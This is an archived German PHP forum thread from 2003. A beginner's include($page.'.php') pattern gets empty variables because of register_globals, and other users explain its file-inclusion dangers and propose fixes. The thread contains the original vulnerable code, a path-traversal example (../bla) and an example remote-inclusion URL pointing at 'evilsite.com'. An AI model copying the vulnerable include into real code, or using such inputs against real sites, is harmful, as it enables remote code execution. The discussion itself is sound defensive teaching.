Archiv verlassen und diese Seite im Standarddesign anzeigen : leer Variable
Hallo
Ich probiere grad ein bisschen rum. Ich möchte über die URL einen Seitennamen mitgeben. Diese wird, wenn sie vorhanden ist, mit include geladen. Wenn ich index.php?page=test aufrufe kommt immer die Seite error.php. wenn ich mit echo die variable $page prüfe ist sie leer. Mit $_GET[] hab ich es auch schon probiert, geht auch nicht.
<?
if (file_exists($page.".php"))
{
include($page.".php");
}
else
{
include("error.php");
}
?>
magpie
Ups das war wohl etwas voreilig. Ich muss noch mit $HTTP_GET_VARS[] zugreiffen :rolleyes:
Kleine anmerkung:
Mach mal aus
if (file_exists($page.".php"))
if (file_exists("./".$page.".php"))
sonst wird deine Seite schneller gehackt als du gucken kannst!
Gruß,
Gaert
Hmm das begreiff ich nicht ganz? Also mit ./ begrenzt du die Ausführung auf das aktuelle Verzeichnis. Soll das einen Verzeichniswechsel verhindern? Wenn ja, das funktioniert bei mir nicht. Ich kann der Variable $page einen Pfad zuweisen und er führt es aus.
Könntest du mir das etwas genauer erklähren?
magpie
@Gaert
es müßte schon gehen, denn magpie hängt ja immer ".php" an.
Also da dürfte es keine Gefahr geben, oder Irre ich mich da?
Pingu
quinte17
13-07-2003, 12:12
irren ist menschlich ;)
wenn zum beispiel übergeben wird:
../bla
dann würde
../bla.php
included werden aber nicht
./bla.php wie es gewollt ist..
aber gegen relative übergaben ist man durch den ./ am anfang auch nicht geschützt... weil
./../bla.php == ../bla.php
da sollte man eher überprüfen, ob einer einen / mit übergeben hat oder mit stripslashes() vorsorgen
mfg
PS: kann man in der shell leicht testen: cd ./../
Hallo!
@magpie:
Wie du richtig erkannt hast bist du mit dieser sache nicht vor lokalen Verzeichniswechseln geschützt, wohl aber vor dem einbinden irgendeines Skripts aus dem großen weiten Internet (was viel gefährlicher ist)!
Ein
skript.php?page=http://evilsite.com/evilskript
wird nun nicht mehr funktionieren.
Vor Verzeichniswechseln kannst du dich schützen indem du ein
$page = str_replace("/","",$page);
machst.
(@quinte 17: stripslashes() wirkt sich nur auf BACKSLASHES aus, nicht auf SLASHES, bietet dir in diesem fall also keine Sicherheit!!! (aber Irren ist ja menschlich ;) )
@Pingu:
.php bietet dir keinerlei Schutz!
Als nächstes wird nun das Argument kommen:
Include von PHP Dateien aus dem www funktioniert sowieso nicht, weil nur die Ausgabe des evilsript.php auf evilsite.com included wird...
Das stimmt... allerdings sollte man bedenken, dass ein PHP Skript auch PHP Code ausgeben kann und zweitens (was viel einfacher ist) könnte der PHP Interpreter auf evilsite.com einfach deaktiviert sein, wodurch die Datei überhaupt nicht geparst wird.
Ihr seht also.... seit vorsichtig mit Includes... überprüft ALLES was von draussen kommt.
Ich hab mir Vorgestern den Vortrag von Rasmus Lerdorf auf dem Linuxtag angehört... in PHP 5 gibt es Inputfilter, über die ihr bestimmen könnt wie dir Variablen vorbearbeitet werden bevor sie euch im Skript zur verfügung stehen... sehr Sinnvoll - gibt es übrigens auch als Patch für PHP 4 irgendwo auf lerdorf.com .
Abschließend ->
Magpie: Bitte deaktiviere register_globals, wenn du wirklich Wert auf Sicherheit in deinen Skripten legst - du reisst dir sonst Sicherheitslücken wir Scheunentore in deine Skripte.
quinte17
13-07-2003, 13:05
@geart ;) *gg* war ein intuitiefer stripslashes()... habe nicht drangedacht...
@rest: ich kann euch nur empfehlen, legt die php-seiten in variablen fest, oder in objekten....
ala:
$seite[][id]=0;
$seite[][page]= "phpdatei.php";
und als get oder post variablen nur die ID übergeben, so kann keiner externe scripts einbinden. (in verbindung mit einer datenbank ist des auch leichter zu machen)
mfg
Danke für die ausführliche Erklährung. Man lernt immer dazu :)
Register_globals habe ich seit neustem auf OFF. Leider habe ich im Moment etwas wenig Zeit zum Proggen und vergesse immer wieder dass sie aus sind :rolleyes:
magpie
Powered by vBulletin® Version 4.2.5 Copyright ©2025 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.